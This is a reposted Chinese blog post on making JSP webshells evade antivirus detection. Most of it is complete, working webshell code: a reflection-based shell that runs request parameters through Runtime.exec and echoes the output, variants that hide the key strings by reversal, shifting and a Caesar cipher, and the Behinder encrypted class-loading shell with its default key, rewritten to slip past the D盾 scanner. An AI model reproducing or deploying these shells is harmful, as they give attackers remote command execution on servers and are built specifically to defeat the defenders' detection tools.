webshell之jsp免杀

webshell之jsp免杀

转载自webshell免杀研究

原理

向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。

结构

实现三步

  1. 数据的传递
  2. 执行所传递的数据
  3. 回显

数据传递

String x = request.getParameter("x");

执行所传递的数据

Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");  //获取getRuntime方法
Method ex = rt.getMethod("exec", String.class);  //获取exec方法
Process e = (Process) ex.invoke(gr.invoke(null),  x);

回显

#in为执行返回结果
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
    out.println(new String(b));
}
out.print("</pre>");

免杀思路

jsp类型webshell数据传入、回显两个部分都是很正常的代码,一般程序中都会使用,不会触发检测规则。

所以需要重点关注杀毒软件对执行这个部分的检测

免杀

将以上三个部分拼接出来就是正常的通过类反射执行的回显webshell:

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%
String x = request.getParameter("x");
if(x!=null){
	Class rt = Class.forName("java.lang.Runtime");
	Method gr = rt.getMethod("getRuntime");  //获取getRuntime方法
    Method ex = rt.getMethod("exec", String.class);  //获取exec方法
	Process e = (Process) ex.invoke(gr.invoke(null),  x);
	java.io.InputStream in = e.getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
}
%>

由于其仍然含有java.lang.Runtime、getRuntime、exec等关键字,仍然会被安全软件检测,我们的免杀主要也针对这几个关键字符串。

比如通过ascii、hex、base64等方式传入不含有这些特征的关键字,但是因为用的过多,目前也被列入已知后门,所以最好这里是自定义编码方式或转换方式,比如异或,移位,反转,栅栏等各种操作缝合的方式。

反转字符串

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){
	Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));
	Method gr = rt.getMethod(reverseStr("emitnuRteg"));
    Method ex = rt.getMethod(reverseStr("cexe"), String.class);
	Process e = (Process) ex.invoke(gr.invoke(null),  x);
	java.io.InputStream in = e.getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
}
%>

移位5位

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String eStr(String str){String result = "";int length = str.length();for (int i = 0; i < length; i++){char z=str.charAt(i);z=(char)(z-5);result=result+z;}return result;}%>
<%
if(request.getParameter("x")!=null){Class rt = Class.forName(eStr("of{f3qfsl3Wzsynrj"));
Process e = (Process) rt.getMethod(new String(eStr("j}jh")), String.class).invoke(rt.getMethod(new String(eStr("ljyWzsynrj"))).invoke(null, new Object[]{}), request.getParameter("x") );
java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];
out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

小写字母凯撒密码

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String plusStr(String str){String plus = "";int length = str.length();for (int i = 0; i < length; i++){char z = str.charAt(i);
if(z>='a'&&z<='w'){z=(char)(z+3);plus=plus+z;}
else if(z>='x'&&z<='z'){z=(char)(z-23);plus=plus+z;}
else{plus=plus+z;}}return plus;}
%>
<%
String x = request.getParameter("x");
if(x!=null){
	Class rt = Class.forName(plusStr("gxsx.ixkd.Rrkqfjb"));
	Method gr = rt.getMethod(plusStr("dbqRrkqfjb"));
    Method ex = rt.getMethod(plusStr("bubz"), String.class);
	Process e = (Process) ex.invoke(gr.invoke(null),  x);
	java.io.InputStream in = e.getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
}
%>

冰蝎改造

冰蝎默认马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

经过二分法,D盾查杀特征在最后这句

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

参考了yzddmr6的方法,拆分或使用类似语句替换,所以使用Base64.getDecoder()替换原本特征,并把request.getReader().readLine()单独取出来,破坏D盾识别的特征。当然也可以拆分该语句的其他部分,破坏特征。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>

最终D盾对本文提到的多种webshell都是可以免杀的

img

posted @ 2021-11-26 10:02  tomyyyyy  阅读(988)  评论(0编辑  收藏  举报